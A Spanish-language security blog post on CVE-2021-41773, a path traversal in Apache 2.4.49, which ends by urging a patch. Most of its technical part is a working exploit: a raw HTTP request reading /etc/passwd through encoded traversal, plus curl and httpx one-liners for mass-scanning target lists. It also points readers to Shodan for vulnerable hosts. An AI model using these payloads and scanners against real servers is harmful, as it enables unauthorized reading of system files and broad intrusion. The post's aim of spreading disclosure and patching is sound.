Path traversal en Apache HTTP Server 2.4.49 (CVE-2021-41773)

Recientemente se ha publicado un fallo bastante importante en la normalización de rutas en Apache HTTP Server 2.4.49 por la que cualquier atacante externo podría usar un path traversal y leer cualquier archivo incluso fuera del Document Root. 

Esta vulnerabilidad ha sido bautizada como CVE-2021-41773. "Si los archivos fuera del document root no están protegidos por la directiva 'require all denied', estas peticiones pueden tener éxito. Además, este fallo podría filtrar el código fuente de archivos interpretados como scripts CGI".

La vulnerabilidad se explota tan fácilmente como se demuestra a continuación:

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: https://www.twitter.com/vulnmachines
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


Además, como ya sabréis, se puede realizar un rápido escaneo con un simple one-liner:

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
o este:
httpx  -path "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" -status-code -content-length  -fc 400,503,406,403,301,302 -l subs.txt

Si buscáis en Shodan por ejemplo, veréis que el número de servidores Apache vulnerables públicos no es pequeño:

La causa del fallo la podéis ver en este commit:
https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782


Así que nada... una vez más urge parchear, a por la 2.4.50!

Referencia: https://httpd.apache.org/security/vulnerabilities_24.html

Comentarios